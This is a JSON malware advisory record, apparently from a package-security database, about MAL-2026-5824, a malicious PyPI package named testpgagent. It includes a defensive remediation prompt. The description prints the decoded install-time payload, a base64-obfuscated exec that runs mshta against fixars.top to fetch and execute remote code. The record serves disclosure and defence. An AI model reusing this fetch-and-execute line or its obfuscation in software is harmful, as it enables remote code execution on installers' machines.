{"answers":{"affected":"1 open source package ship an affected version, including testpgagent.","exploited":"There is no known exploitation of MAL-2026-5824 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5824 is a malicious package in testpgagent, published on 15 Jun 2026."},"fix_prompt":"MAL-2026-5824 is a malicious package: testpgagent (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5824/ (Markdown: https://insights.sbomify.com/MAL-2026-5824/index.md)","id":"MAL-2026-5824","markdown":"https://insights.sbomify.com/MAL-2026-5824/index.md","name":"MAL-2026-5824","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `pip install`, setup.py line 19 calls `exec(base64.b64decode(...))` whose decoded body is `import os; os.system('cmd /c \"mshta http://fixars.top\"')`. This launches Windows `mshta.exe` against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running `pip install TestPGAgent==0.2` will execute remote code chosen by whoever controls fixars.top at the moment of install.\n\nDuring installation, the code attempts to download and start a malicious executable.\n\nLikely related to 2025-08-raknet-testing-package.\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\nCampaign: 2026-06-easyaillm\n\nReasons (based on the campaign):\n\n - Downloads and executes a remote executable.\n\n - obfuscation\n\n - malware\n\n - tool:mshta","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in testpgagent (PyPI)","id":"MAL-2026-5824","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"testpgagent","purl":"pkg:pypi/testpgagent","source":"MAL-2026-5824"}],"products":null,"published":"2026-06-15","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5824/"}